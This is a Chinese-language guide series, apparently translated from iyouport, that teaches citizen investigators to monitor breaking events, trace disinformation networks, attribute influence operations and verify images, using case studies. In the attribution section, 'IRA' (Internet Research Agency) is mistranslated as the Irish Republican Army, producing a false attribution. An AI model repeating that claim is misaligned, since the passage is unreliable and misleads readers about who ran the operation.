在2019年民主党辩论之后，一群匿名账户传播了有关卡马拉·哈里斯（Kamala Harris）种族问题的同一条信息。

归档和出版的最佳做法

在寻找骗局之前，先为您的文档设置一个文件夹，并为您发现的内容启动一个电子表格。立即对您发现的每个骗局和相关内容进行截图，并对页面进行存档。(Archive.org 网络浏览器扩展是一个免费、快速、有效的内容存档工具)。确保在电子表格中记录内容的原始和存档URL。这使您能够在尘埃落定后再来查看您所发现的内容并寻找其中可能潜藏的信息战模式。

关于电子表格的注意事项《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（3）- 理解数据和可视化》；关于如何利用存档页面的完整指南《如何快速找到你想要的东西：追踪数字证据的小技巧》。

📌 为了避免帮助传播与虚假或错误信息相关的页面，请确保在任何

文章或社交媒体帖子中链接到存档的URL，而不是原始的URL。给您的图片打上水印也是一种最好的做法，比如“虚假”或“误导”等明确的标签，以确保它们以适当的语境被传播和索引。如果您真的写了一篇文章，请把标题和文案的重点放在真实的内容上，而不是主要说虚假的内容。研究表明，重复假话只会使人们更容易记住不正确的信息。

您的作用是尽可能减少虚假信息的重复，引导人们获得准确的信息。

「图」

「图」

I did

确定关键词和地点

随着事件的展开，提出一个地点和相关关键词的清单。

对于位置，要考虑到城市、区县和国家，以及任何相关的地方术语，如城市或受影响社区的昵称；比如中文网络可能会把重庆市称为“西红柿”，它已经不是一种蔬菜，如果在重庆出现突发事件时，您没有搜索“西红柿”，可能就会错过重要的信息。

在跟踪选举的过程中，您还应该使用相关选区的名称。这些信息用于监控地理标记的帖子，并搜索对该地点的提及。此外，一定要确定并开始监控任何相关地方当局的社交账户，如警察和消防部门、政客和当地新闻机构。

接下来，确定关键词。这可以包括受害者、嫌疑人、枪手、射击、洪水、火灾等词语，确认任何相关人员的姓名，以及更广泛的措辞——除了关键术语之外，想想人们在这种情况下会使用的语言。如果您发现了一个可信的账号发帖说了您正在监测的事件，请注意他们的用户名，并阅读他们的完整 feed。通过他们关注的人或追随者列表查看也是一种有用的方法，可以找到该地区其他可能受到影响的人。

请注意，在紧张的情况下，人们可能会拼错地点或名字。例如，在2019年加州金凯德火灾期间，由于自动更正问题，一些人在推特上写了 #kinkaidfire（应该是 Kincade Fire）。您需要在搜索中加入常见的拼写错误，并尝试通过在设备上输入关键词观察弹出的建议来识别可能的自动更正错误。

这也是一个很好的时机，可以联系您在相关地点认识的任何消息来源，或者是可能成为骚扰或虚假信息目标的社区的一部分，并询问他们在网上看到了什么。您可以告诉您的受众，您正在寻找与该事件相关的虚假信息和其他问题内容。与您的调查团队协调，帮助传播您的监测，让队友作为第三方观察下是否看到任何值得注意的内容。

关于与消息来源交互的指南《在人与人之间 …… 如何从信息源的头脑中挖掘想要的情报—完整指南》。

关键图像工具

1、图片搜索

反向图像搜索是一个不可缺少的工具。在 Chrome 网页浏览器中右击图片并选择 “Search Google for Image”，就可以很容易地在谷歌上搜索图片。但是，使用不同的工具搜索图像总是非常重要的！如果您安装了 InVID 浏览器扩展，您可以右键点击一张图片，并在不同的工具中进行搜索。

关于 InVID 的用法，详见《如何使用 InVid-WeVerify：数字信息验证的 “瑞士军刀”》。

2. 搜索TweetDeck

搜索Twitter的最佳方法是使用 TweetDeck，它允许您为搜索和列表创建独特的列。

寻找和复制相关列表是及时了解情况的关键。您可以使用简单的谷歌运算符来搜索Twitter列表。在搜索引擎中输入 site:twitter.com/*/lists， 然后在引号中添加一个关键词，例如 “香港”，最终的搜索字符串是：

site:twitter.com/*/lists “香港”

这将会出现其他 Twitter 用户创建的、标题中包含 “香港”的任何列表。

关于谷歌运算符的基本指南《攻防皆可用：GoogleDorking 高级运算符完整列表》。

一旦您找到了一个与您的需求相关的列表，您需要复制它，这样就可

以把它添加到自己的 **TweetDeck** 中。使用这个应用：http://projects.noahliebman.net/listcopy/connect.php，可以随意复制。复制一个列表比关注它更理想，因为您可以随意添加或删除用户。

关于 **tweetdeck** 的详细使用方式，见《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》。

搜索过滤的列，使您能够快速监控关键词以及图片和视频。要寻找多个关键词，将它们用引号包起来，并在它们之间加上布尔运算符“OR”，例如 “Kincade” OR “Kinkade”。如果某些词产生了不相关的结果，您也可以将其排除。如今大多数人不再按地点标记自己的推文，所以您可以将该字段留空，以增加覆盖面。

关于布尔搜索的详细说明，见《一个搜索统治一切：调查用心而非技术》。

如果您想缩小结果范围，将 “From” 字段设置为事件发生前一两天，这样可以确保您不会因为时区问题而错过推文。如果您仍然得到太多的结果，可以尝试按参与度进行过滤，只显示其他人点赞或转发足够多的帖子。您也可以尝试将关键词分成不同的列。例如，把地点放在一列，其他关键词放在另一列。

最后，如果您看到的推文量非常大，最好用您的最佳关键词创建一个新的列，并将 “推文内容” 过滤器下的 “显示” 选项设置为只显示照片和视频。这将为您提供一个可以帮助您发现病毒式传播或新兴视觉效果的feed。

3、CrowdTangle

CrowdTangle 是一个网络应用和浏览器扩展。

它是一个强大的工具，允许您设置仪表盘，以监控整个 Facebook、Instagram 和 Reddit。您还可以通过关键字进行搜索，并设置许多过滤器，包括发布时间、语种和参与度。

CrowdTangle 对于监控 Facebook 和检查一个URL可能在社交媒体上发布的位置特别有用。一旦您有访问权限，就去 app.crowtangle.com 开始，然后点击 “创建新的仪表板”。即使您没有访问权限，该浏览器扩展也是免费的，任何人都可以使用。

CrowdTangle：搜索 Facebook 的帖子 ——

点击左侧边栏的“已保存的搜索”，然后点击“新搜索”。您有两个选项：搜索页面和搜索群组。建议同时进行。输入尽可能多的关键字，只要您觉得有可能出现的关键词，用逗号分开。然后可以设置您如何看到帖子，例如，通过最近发生、最受欢迎、的和超常表现，这是一个衡量帖子参与度的页面。根据情况在这三种方式中切换，以确保您看到热门内容和新内容（热门内容和新内容中可能有大量假消息，越是虚假的内容被关注度就越高）。

您还能够按照特定的时间段和类型对帖子进行分类。CrowdTangle 最近增加了按帖子发布的位置搜索帖子的功能。通过点击“英语”，然后选择“国家”，您可以只选择来自声明其位置在美国境内的页面的帖子，您在此可以用大多数语种进行搜索。要特别注意基于图片和视频的帖子，它们往往传播得更快，更有吸引力。

一旦您设置了一个有相关结果的搜索，一定要保存它，这样您就可以不断地回来重看，由此发现其中隐藏的模式。

CrowdTangle：列表 ——

就像 TweetDeck 一样，CrowdTangle 也可以让您建立感兴趣的页面和公共群组的列表。通过点击左侧边栏的“列表”，然后点击“创建列表”，您就可以监控与您选择的关键词相匹配的页面或群组，或者与您拥有的URL相匹配的页面。CrowdTangle 还有一些预建的列表，您可以通过点击“探索”标签查看。与Twitter一样，建立谈论您所调查事件的页面和群组列表是监测信息环境的好方法。

「图」

「图」

CrowdTangle：链接搜索 ——

CrowdTangle 的另一个相关功能是链接搜索。前往 https://apps.crowdtangle.com/search/，然后粘贴您感兴趣的内容的URL或关键词。CrowdTangle 会在 Facebook、Instagram、Reddit 和 Twitter上向您展示该链接的顶级公开分享者。(请注意，Twitter的结果仅限于前七天。)

这将帮助您了解内容的传播情况，是否有任何团体或个人需要您进一步调查，以及内容是否已经传播到足够远的地方，需要揭穿。

关于何时揭穿虚假内容，并没有简单的规则，但有一些好的问题要问：它是否已经在最初的分享者网络之外传播了？它是否被权威人士分享了？它是否产生了重要的参与？免费的浏览器扩展提供的数据与链接搜索工具相同，任何人都可以免费使用，无需完整的 CrowdTangle 账户。

「图」

「图」

4、Instagram.com

Instagram 是一个监测标签和地理标记帖子的有用地方。查找用户可能标记照片的相关地点，并记住位置标签也可以包括街区和地标。

一旦您发现某人似乎参与了一个突发事件，点击进入他们的账户，并确保您观察他们的 “故事” 部分 —— 他们的故事远比普通的 Instagram 帖子更受欢迎。还可以通过评论寻找其他潜在的证人，并注意任何新的标签，可能已经在他们的帖子旁边使用。

如果您想将某人的 Instagram 故事存档为您的文件，可以使用 storysaver.net 这样的网站来下载它。

关于 **Instagram** 的调查工具和方法《在最难搜索的地方：解剖 Instagram 用户》、以及《如何无需帐户即可匿名查看Instagram帖子》。

5、SnapMap

Snapchat 上的虚假信息并不常见，但其公共地图功能对于帮助验证或揭穿骗局非常有用。要开始，请访问 map.snapchat.com 并输入感兴趣的位置。这将向您展示内容发布地点的热图—— 地点越亮，来自那里的Snaps就越多。要保存一个有用的Snap，点击右上方的三个点，然后选择 “分享”。您就可以复制Snap的URL，以便以后查看。(一定要把它也截图下来。)

「图」

「图」

最后

📌 在突发事件爆出之前，您必须练习使用上述每一种工具，避免在当下乱阵脚。

虚假信息是为了玩弄人们的情绪，利用新闻报道的空隙。当您在网络上搜索时，要牢记这一点。您也会经常遇到可以帮助同事的准确信息。把您知道的所有真实的东西都写下来，这样就能更快地识别出虚假的东西。

尘埃落定后，回顾一下您保存的图片和帖子是很有帮助的。虽然在当下您想通过公益的方式来强调个别的虚假，但在事后您应该总结任何可以看到的主题或模式。人们是否因为种族或性别而成为目标？源于小型匿名账户的骗局是否成为主流？…… 一个总结性的调查报告可以帮助您的读者更充分掌握虚假信息传播的目的和方法；它还可以作为您的的研究工具，告诉您下次突发事件时可能需要关注哪些有用的内容。〇

—— 未完待续 ——

原文

从可疑信号开始：从追踪到验证的思考方式（4）- iyouport

开始调查

有一些信号会透露可疑的线索，顺着这些线索前进，直到暴露一个大的网络

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《没有固定模式，但总会有一些迹象：从追踪到验证的思考方式（1）》
- 《发现不正常的活动：从追踪到验证的思考方式（2）》
- 《突发事件中需要注意的东西：从追踪到验证的思考方式（3）》

在处理任何怀疑为信息战水军的协调性行动时，公民调查的一个关键问题是判断该行动的规模有多大，传播范围有多广。这与衡量一个行动的影响是不同的，后者也很重要：对于公民调查来说，就是要找到目标行动本身所运行的账户和网站。

调查人员的目标是在报告之前找到尽可能多的相关行动，因为一旦行动被报告，信息战行为者可能就会躲藏起来 —— 有可能通过删除或放弃其他资产。所以，调查要低调。

链条上的第一个环节

「图」

在任何调查中，第一条线索都是最难找到的。通常情况下，调查会从相关用户或（更罕见的是）社交媒体平台提供的线索开始。比如针对美国退伍军人的虚假信息战的调查始于美国越战老兵组织的一名成员发现其团体被一个Facebook页面冒充，该页面的粉丝数量是他们在平

台上真实存在的两倍。

靠自己的资源来识别链条上的第一个环节，并没有唯一的规则。最有效的策略是寻找不协调的地方。它可能是一个表面上位于田纳西州的Twitter帐户，但注册的是一个俄罗斯手机号码；或者它可能是一个声称位于尼日尔的Facebook页面，但在塞内加尔和葡萄牙管理。它可能是一个拥有百万浏览量的 YouTube 账号，在2019年发布大量亲中国内容，但几乎所有浏览量都来自2016年上传的英国情景喜剧集。

它可能是一个关注美国外交政策的匿名网站，但注册地是俄罗斯联邦远东军区财务部。它可能是一个所谓的 “军情六处特工” 的采访，用呆板的、几乎是莎士比亚式的英语表述。它甚至可能是一个推特账号，在邀请访问色情网站时，夹杂着简·奥斯汀《理智与情感》中不完整的引文 ……

所有这些信号的诀窍是花时间去思考它们。公民调查人员经常会受到时间的压力，以至于很容易用 “这只是特例” 来否定不一致的信号，然后继续前进。通常情况下，如果某件事很奇怪，那肯定是有原因的。花时间想想为什么会这样，这可能是暴露新线索的第一步。

资产、行为、内容

「图」

一旦确定了最初的资产—— 如账户或网站，下一步面临的挑战是找出它的方向。在这里，有三个问题是至关重要的：

- 关于该资产的初始信息有哪些？
- 该资产的行为如何？
- 它发布了什么内容？

第一步是尽可能多地收集关于初始资产的信息。如果它是一个网站，它是什么时候注册的，由谁注册的？它是否有任何可识别的功能，如 Google Analytics 代码或 AdSense，注册邮箱地址或电话号码是什么？这些问题可以通过参考WhoIs记录来检查，这些记录由 lookup.icann.com、domaintools.com、domainbigdata.com 或 spyonweb.com 等服务提供。

上图，自称 “青年分析团” 的网站 NBeneGroup.com 的网络注册信息，显示其注册地为俄罗斯联邦远东军区财务部，来自 lookup.icann.org。

网站信息可以用来搜索更多的资产。domaintools.com 和 spyonweb.com 都允许用户通过IP地址和谷歌分析代码等指标进行搜索，不过现在更精明的信息操作通常会将其注册隐藏在商业实体或隐私服务的背后，这就增加了难度。英国研究人员通过 Google Analytics 代码（以UA开头的八位数字）查找到的相关网站网络

如果初始资产是一个社交媒体账户，那么就适用于这里的分析方法《如何分辨：机器人、僵尸网络和 trolls》。查看该账户是何时创建的？它的名称是否与ID名一致？如果ID是 “@moniquegrieze”，而名字是 “Simmons Abigayle”，那么可能需要怀疑该账户是被劫持的，或者是大规模创建账户的一部分。

它是否提供了任何可验证的简历细节，或与同一平台或其他平台上的其他资产之间的关系？如果是 Facebook 页面或群组，谁在管理它，参与者都在哪里？它关注谁，谁关注它？Facebook 的 “页面透明度” 和 “群组成员” 设置通常可以提供有价值的线索，Twitter的个人资料功能，如加入日期和推文和点赞的总体数量也有线索价值。（在 Facebook 和 Instagram 上，无法看到账户创建的日期，但其第一张个人资料图片上传的日期提供了一个合理的替代线索）。

上图，假装成事实调查网站的 “C’est faux—Les fake news du Mali” 其实是来自马里的虚假信息网站，检查其网站注册和 Facebook 页面透明度，显示它声称由马里的一个学生团体运营，但实际上它是由来自葡萄牙和塞内加尔的人管理的。

一旦记录了资产的细节，下一步就是对其行为进行定性。这里的测试问题是：“这个资产最典型的行为特征是什么，可能对识别同一行动中的其他资产有用吗？”

这是一个范围很广的问题，可以有很多答案，其中一些可能只有在调查的后期阶段才会出现。例如，它可能包括YouTube频道，这些频道有西方人的名字和个人资料图片，但发布的是中文政治视频，其中夹杂着大量的TikTok短视频。它可能包括Facebook或Twitter账户网络，这些账户总是分享指向同一网站或同一网站集合的链接。它可能包括在其个人简介中使用相同措辞或接近相同措辞的账户。它可能包括没有可核实成分的简历细节，或提供的细节可被识别为虚假的 “记者” 角色。它可能包括那些从其他网站抄袭大部分内容的网站，只是偶尔插入一些党派、论战或欺骗性的文章 …… 它可能包括许多这样的因素。调查者面临的挑战是确定各种特征的组合，以便足够确认：“该资产是此次信息战行动的一部分。”

上图体现了行为模式：一篇文章最初发布在伊朗阿亚图拉·哈梅内伊的网站上，然后由 IUVMpress.com 和 britishleft.com 转载，未注明出处，这两个网站都在伊朗的宣传网络中。

有时候，缺乏可识别性特征本身也是一种识别特征。从俄罗斯发起的 “Secondary Infektion” 运动就是如此。它在不同的博客平台上使用了数百个账号，所有这些账号都只包含极少的个人履历，在创建的当天就发布了一篇文章，然后就被抛弃了，再也没有被使用过。这种行为模式在如此多的账号中非常一致，足够确认这是一场统一的行动。

上图，Reddit上一个名为 “McDownes” 的账号的资料，被Reddit归结为俄罗斯 “Secondary Infektion” 行动。该账号创建于2019年3月28日，创建后仅1分多钟就发布了一篇文章，然后就沉寂了。

内容线索也可以帮助识别属于同一信息战网络的资产。如果一个已知的资产分享了一张照片或meme，那么值得反向搜索该图片，看看它还在哪里被使用过。用于网络浏览器的 RevEye 插件是一个特别有用的工具，它可以跨平台进行反向图片搜索。使用多个搜索引擎总是值得的，因为它们经常提供不同的结果。

在本系列第1集中看到具体做法，以及其他方法《5个简单方法快速检测造假照片》。

如果一个资产共享一个文本，值得搜索该文本是否在其他地方出现。特别是对于较长的文本，最好从第三段或第四段，或者更后一段中选择一两句话进行搜索，因为这些信息战推手需要短时间内发布大量内容，于是它们经常彼此复制粘贴文本，仅做极少的编辑，以令调查者难以追踪，但不会全部重写。在谷歌搜索中用引号插入所选句子，会返回完全匹配的内容。“工具” 菜单还可以按日期对任何结果进行排序。

发布带有错字的文本内容的目标具有特别的价值，因为就其性质而言，错误比正确拼写的单词更不寻常。例如，一篇疑似俄罗斯情报行动的文章将俄罗斯前特工谢尔盖·斯克里帕尔被毒死的英国城市 Salisbury 写成了 “Solsbury”。这使得谷歌搜索的针对性更强，因此，它产生的重要发现比例要高得多。

有了内容线索，再继续看其他指标，比如行为模式，确认一个资产是否属于一个协调性信息战操作尤为重要。不知情的用户分享信息有很多合法的理由，这意味着分享被操纵的内容是一个弱信号；例如，许多用户分享了俄罗斯互联网研究机构的备忘录，因为这些备忘录具有

真正的病毒式传播的品质。简单的内容分享本身并不足以定性信息战资产。

收集证据

「图」

对于调查者来说，比较令人沮丧的经历之一就是看到一个信息战资产集合在调查的中途消失。因此一个关键的分析规则是，当您发现它们时，就要随手记录它们，因为它们随时都会消失。

如果真的没来得及保存，还有一些补救的机会，使用这里的方法《如何快速找到你想要的东西：追踪数字证据的小技巧》；但快速保存总是最好的，见这里的方法《手慢无：如何抢在信息被遮挡、污染或完全消失之前捕获它们？》。

不同的研究人员对记录自己的发现有不同的偏好，不同的操作随着具体需求的不同发生变化。电子表格对于记录大量资产的基本信息很有用；共享云文件夹对于存储大量截图很有用。如果需要截图，立即给文件起一个可识别的名字至关重要，以方便您随后的查询。文本文件很适合记录混合信息，但如果信息量很大的话，很快就会变得杂乱无章，不堪重负。

不管是什么格式，有些信息总是应该被记录下来的。这些信息包括该资产是如何被发现的（一个基本点），它的名称和URL，它的创建日期（如果知道的话），以及追随者、关注者、点赞和/或浏览量。记录还需要包括对相关资产的基本描述，描述必需方便您的理解，在您看了100个其他资产后还能回过头来找到它。如果在一个团队中工作，分工是必要的，并记录下哪个团队成员专注于调查哪些信息战资产。

可以通过使用存档服务（如 Wayback Machine 或 archive.is）来保存链接，但要注意存档不要暴露真实用户，比如，如果一个转发者是真实用户，您的存档就不应该将该转发者包含进来；并确保存档链接保存了视觉效果，或者拍下截图作为备份。确保所有记录都存储在受保护的位置，如受密码保护的文件或加密存储。追踪谁有访问权，并定期检查访问情况。

最后，值得给可疑目标打一个信心分。信息战运营经常会找到不知情的用户来放大他们的内容：事实上这往往是重点—— 您有多确定最新的资产是这次运营的一部分，为什么？信心度（高、中、低）应作

为单独的条目标记，并将原因添加到注释中。

归属和信任

「图」

查明一项信息战行动的最大挑战在于如何将其归于一个具体的行为者。在许多情况下，准确的归属是开源调查无法做到的。最好的办法是在一定程度上确信某项行动可能是由某一特定行为者经营的，或者各种资产属于某一特定行动，但利用开源调查很少能够确定谁是行动的幕后主使。

网络注册、IP地址和电话号码等信息可以提供确定的归属，但除了社交媒体平台外，这些信息往往被掩盖。所以联系相关平台是调查工作的重要组成部分。这种时候利用地缘政治逻辑是有好处的，比如调查中国和俄罗斯的信息战组织时，寻求与美国巨头服务的合作；虽然反过来就无法进行了，因为其他国家的信息战行动不会使用中国和俄罗斯的平台。

内容线索也能起到一定的作用。例如，2019年10月在Instagram上曝光的一个行动发布的备忘录与俄罗斯互联网研究机构发布的备忘录几乎相同，但去掉了爱尔兰共和军的标记。这种试图掩盖爱尔兰共和军帖子来源的做法表明，其幕后人正是爱尔兰共和军。

同样，一个庞大的看似独立的网站网络反复张贴从伊朗政府来源复制的文章，但没有注明来源。这种模式如此反复，以至于成为这些网站的主要活动。因此，可以将这一行动归咎于亲伊朗的行为者，但无法进一步将其归咎于伊朗政府本身。

归根结底，归属是一个自我克制的问题。调查者必须想象这样一个问题："你如何证明这次行动是由你所指控的人操作的？" 如果不能很有信心地回答这个问题，就应该避开提出指控。识别和揭露一个信息行动是一项艰难而重要的工作，如果做出一个证据不足或不准确的归因，就会破坏您的一切工作。以色列的调查就这样被内塔尼亚胡倒打一耙了。

在这里看到一个案例演示《追踪政府宣传战的内幕：跨平台网络分析的数字取证案例》。〇

—— 未完待续 ——

Network analysis and attribution

原文

验证图像和视频信息时您需要思考什么：从追踪到验证的思考方式（5） - iyouport

开始调查

人们太容易信任视觉信息了，这就是为什么虚假信息操纵者格外喜欢使用照片和视频

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《没有固定模式，但总会有一些迹象：从追踪到验证的思考方式（1）》
- 《发现不正常的活动：从追踪到验证的思考方式（2）》
- 《突发事件中需要注意的东西：从追踪到验证的思考方式（3）》
- 《从可疑信号开始：从追踪到验证的思考方式（4）》

如今社交媒体上的沟通大多都是视觉化的。照片和视频比以往任何时候都更有说服力、更容易制作，并能引发强大的情感反应。因此，它们已经成为虚假信息的有力载体。

目前在虚假信息的背景下，对图像的讨论要么集中在验证技术上，要么过度关注深度造假的视频。但在考虑深度造假之前，有必要了解误导性照片和视频的更常见的低技术含量的广泛使用，特别是那些断章取义的视频。

这里有一个典型的案例《断章取义的视频和歪曲的描述如何挑起对安替法*(Antifa)*左翼活动家的仇恨》

鉴于视觉效果被广泛用于影响和操纵公共语话，公民调查必须具备基本的图像验证知识，以及批判性地质疑和评估图像的能力，以了解那些虚假信息是如何以及为何被部署的。

如果您错过了《虚假信息鉴别工具箱：如何验证图片和视频的真

伪？》

建立在验证之上

「图」

您应该首先理解网络图像在社会中扮演的角色。包括静态图像，也包括合成图像、meme、图形图表和屏幕截图，仅举几例。比如图表，这里有一些介绍《数轴有鬼：用数据可视化撒谎很简单（2）》。

应对视觉错误和虚假信息需要有自己的一套战略。到目前为止，公民调查者的图像验证努力主要集中在确定图像是否是他们认为的那样。

📌 对于图像和视频的验证，您可以通过五个问题来寻找线索：

- 您看到的是原始版本吗？（使用缩略图/提取帧反向图像搜索）
- 您知道这是谁拍摄的照片/视频吗？（元数据、社交媒体情报跨平台追踪）
- 您知道这个照片/视频是在哪里拍摄的吗？（地理定位验证，列表-5的“侦探挑战” 板块中都是地理定位练习）
- 您知道它是什么时候拍摄的吗？（阴影用于时间判断）
- 您知道为什么拍摄这张照片吗？（通过分析和采访）

可以帮助调查照片和视频的标准工具包括 InVID、Yandex 图像搜索、 TinEye、谷歌图像搜索和 Forensically 等等。这些验证方法的重点是图像的来源。

虽然这种方法仍然很重要，但在虚假信息以及一系列媒体操纵形式中经常使用的战术和技术，意味着考虑图像如何被使用和分享、以及被谁使用，也很重要，包括考虑调查者在潜在地进一步扩大有问题的图像方面发挥了什么作用。

质疑社交媒体图片

「图」

这里有一个思维导图，作为质疑目标图像的思考方式，您可以参考。

该框架由20个问题组成，这些问题可以针对任何社交媒体图片（静态图片、视频、gif等）提出，另外还有14个问题，旨在深入挖掘虚假/错误信息的不同方面。这些问题并不是按照固定的顺序出现的，但这

五个问题是有用的，可以先解决：

- 它是什么？
- 它显示了什么？
- 谁制造了它？
- 它是什么意思？
- 它意味着什么？

问题1～3 类似于既定的验证方法，关注的是确定它是什么类型的图像（照片、视频等），它描绘了什么，谁制作了它。问题4和5引入了对意义的考虑，包括图像所显示的内容，也包括通过使用图像所产生的任何意义，包括误导性 —— 比如拍摄角度引起人们的习惯性联想，参见这个案例《“虚假” 照片如何扭曲视角形成误导》。

把问题4和5放在一起考虑时，还可以关注图像意义的变化性质，以及通过再使用而赋予图像的意义本身的方式。这并不只是关注图像在新的语境中被赋予了什么意义，以及如何导致人们普遍误认它们所展示的内容，还要关注这种误认的影响是什么。这种方法不再是验证，而是更类似于艺术史和摄影理论等学科中进行的图像意义分析。

大多数时候，您不需要回答这个框架中的所有20个问题来全面了解图像的情况，只需要回答一部分，就能发现问题。在处理复杂的高知名度的新闻图片和视频时，这些问题特别有用 —— 高知名度图片和视频得到了媒体的高度关注，于是变得特别 “热门”。当一个东西变得特别热门时，它就很难被质疑。

为了说明这种方法在实践中的使用，这里有三个来自英国和美国的高调案例研究。

案例研究1：爆裂点，2016年6月

「图」

1、它是什么？

上面这张图片是右翼民粹主义政党英国独立党（UKIP）在2016年欧盟公投期间作为其竞选活动的一部分使用的海报。它使用了摄影记者杰夫·米切尔（Jeff Mitchell）在2015年10月拍摄的一张照片，重点是难民危机。

2、它显示了什么？

大批叙利亚和阿富汗难民在斯洛文尼亚警察的“护送”下，从克罗地亚和斯洛文尼亚的边境来到布雷日采难民营。这张海报不是原照片，它使用了裁剪过的版本，并添加了“爆裂点：欧盟让我们所有人都失望了”和“我们必须挣脱欧盟，夺回对我们边界的控制”的文字。由于剪裁后的效果看上去就像难民在集体向观众走来，它具有强烈的视觉冲击力。

3、这是谁做的？

总部设在爱丁堡的广告公司 Family Advertising Ltd.，该公司受雇于英国独立党的脱欧运动。

4、它是什么意思？

英国独立党并没有试图歪曲内容，而是通过添加口号来进一步分层含义。利用现有的社会反移民和种族主义情绪，这种心理操纵集中在对移民和难民产生进一步的恐惧上，其基础是关于欧盟边境政策的未经证实的说法和影射。

5、这意味着什么？

2019年11月，在英国大选前夕，竞选组织 Leave.EU 在上传到 Twitter 的一张反移民图片中也使用了这张照片的严格裁剪版本，明显是回溯到了UKIP的2016年海报。

6、还有哪些问题是有用的？

行为者是官方的还是非官方的？创建和传播该图片的关键行为者，即 UKIP，是一个官方政党，而不是通常与虚假信息有关的那种行为者。

它与其他图像是否相似或相关？一些人把这张海报比作纳粹宣传；它与以前的反移民图像和英国涉及排队的政治海报的悠久历史都有呼应，包括英国独立党在2016年5月使用的一张海报，重点是来自欧盟的移民。

3个关键的启示：

- 官方政党和政客可以成为传播虚假信息的行为者。
- 虚假信息不一定涉及虚假图片，甚至不一定涉及对图片内容的误认。有时，图像可以被用来支持一个歪曲更广泛情况的信息。
- 有些虚假信息需要的不仅仅是核实。有必要批判性地检查真实

图像是如何被用来操纵的，以及这种图像的作用和意义。

案例研究2：2017年3月威斯敏斯特桥照片

「图」

1、这是什么？

一个似乎由德克萨斯白人男子操作的推特账户的一条推文，受到了媒体的极大关注。该账户后来被揭露是由俄罗斯的互联网研究机构操作的，并被用来传播错误和虚假信息。该推文分享了一张伦敦威斯敏斯特桥恐怖袭击事件后的照片（2017年3月22日）。

2、它显示了什么？

一位穆斯林妇女走过一群人和一个躺在地上的人，后者在恐怖袭击中受伤。这段文字有伊斯兰恐惧症的含义，声称这名妇女故意无视受伤的人，还有一个明显的反伊斯兰标签。

3、谁做的？

操作 @SouthLoneStar 推特账户的互联网研究机构工作人员，尽管在发布该推特时人们并不知道它是俄罗斯 IRA的账户。图片本身是由新闻摄影师杰米·洛里曼（Jamie Lorriman）拍摄的。

4、它是什么意思？

2017年3月，这似乎是一个德克萨斯州右翼推特用户的推文，他将这张照片解释为“表明穆斯林妇女并不关心受伤的人”。它认为这个例子说明了关于穆斯林的一个更大的真相。

5、这意味着什么呢？

这条推文是俄罗斯互联网研究机构在恐怖袭击发生后有目的地传播仇视伊斯兰的虚假信息的证据。

6、还有哪些问题是有用的？

它得到了什么回应？这条推文在主流媒体上得到了很大的回应。几十家英国报纸报道了它，在某些情况下还不止一次。虽然这些文章大多谴责了@SouthLoneStar，但它也将这条推文从社交媒体的范围内转移到了主流受众面前。图片传播后，照片中的女子发言说，她当时对

袭击事件感到心烦意乱，“我不仅因为目睹了一场令人震惊和麻木的恐怖袭击的后果而受到打击，我还不得不面对发现我的照片被那些无法超越我的着装、基于仇恨和仇外心理得出结论的人贴满了社交媒体的冲击”。

它与其他图片是否相似或相关？流传最广的图片是对该女性拍摄的七张图片中的一张。其他图像清楚地表明她心神不宁，但很少有出版物注意到这一点。

它的传播范围有多广，时间有多长？主流媒体的关注度增加，意味着这条推文被广泛传播。然而，在几天内，传播速度明显放缓。它在2017年11月被重新传播，当时发现 @SouthLoneStar 是由俄罗斯互联网研究机构运营的。与3月相比，11月的这一后期发行量在主流媒体中明显较小。

3个关键的启示：

- 视觉虚假信息并不总是完全虚假的，可能涉及基于真相的元素。照片是真实的，但其背景被操纵和伪造，它依赖于读者/观众不知道这位女士在那一刻究竟在想什么。
- 记者们应该仔细考虑，是否要通过报道这种情绪化的、有争议的、可能有害的虚假信息来引起人们的进一步关注，即使是出于积极的目的。
- 可以更多地关注纠正基于虚假信息的新闻报道，确保事件的真实情况最为突出。11月的有限报道意味着一些读者很可能没有发现该推文是俄罗斯的虚假信息。

案例研究3：林肯纪念堂对抗，2019年1月

「图」

1、这是什么？

这张照片是科文顿天主教高中的一群学生参加了反堕胎的游行，以及土著人著名活动家纳丹·菲利普斯 (Nathan Phillips)的视频，他正陪同其他美国土著人参加土著人游行。

2、它显示了什么？

来自科文顿天主教高中的一名学生与菲利普斯之间的对抗。两场示威汇聚在同一个广场上，一大群戴着MAGA帽子的科文顿学生据说与菲

利普斯对峙。这描绘了一幅孤独的美国土著人活动家与一连串年轻的极右翼恶棍对峙的画面。

3、这是谁做的？

该视频首先由一位原住民游行参与者上传到 Instagram。这收到了近20万的浏览量。几个小时后，该视频被上传到推特，在被原始账户删除前收到了250万次浏览。该视频随后被转发到不同的社交媒体网站，继而引起了主流媒体的关注。在24小时内，有多篇关于该视频的文章被发表。

4、这意味着什么？

最初在网上传播的说法是，这段视频是菲利普斯和学生之间的直接对峙，其中学生被认为是故意嘲弄和围攻菲利普斯。

第一段视频几天后又出现了一段更长的视频，描绘了一幅更复杂的画面。纪念馆还被一群希伯来以色列人占据，他们嘲弄路人，包括考文顿学生和原住民游行参与者。这导致了这三个群体之间的激烈对峙，据称菲利普斯试图安抚。第一段视频就是从这里开始的。

5、还有哪些问题是有用的？您需要了解哪些背景信息？

如果没有较长的完整视频，人们就不知道希伯来以色列人当时在场并积极助长冲突，那么所有的背景信息都会丢失。虽然学生们被记录下了说出种族主义的话，但导致这一事件的原因比简单的右翼青少年群殴一位年长的土著人活动家要复杂得多。

6、它在社交媒体上被分享到哪里了？

虽然这段视频最初是由参加原住民游行的人在 Instagram 上分享的，但受到的关注有限。随后，它被其他用户重新上传至 Twitter 和 YouTube，这极大地扩大了知名度，确保了主流媒体的关注。因此，注意力来自于这些重新上传的视频，而不是Instagram上的原始视频。

3个关键的启示：

- 当这种情绪化的视觉效果在网上迅速传播时，很容易失去背景，让肤浅的、反动的网络叙事来控制。
- 回过头来看，一些记者认为，最初的文章起到了助长争议的作用，并进一步推动了不正确的叙述。这表明，如果没有适当的

调查，主流媒体也很可能继续传播虚假信息。
- 视频在网上传播的速度意味着很多主流媒体直接不加思考地引用了社交媒体上推送的叙述，没有进一步调查。一旦真实事件出现，许多新闻网站被迫撤回或纠正他们的文章，有些还被起诉。

结论

「图」

在社交媒体上分享的很多东西都是视觉的。调查者必须具备批判性质疑和评估图像的能力，以发掘重要内容和意图。

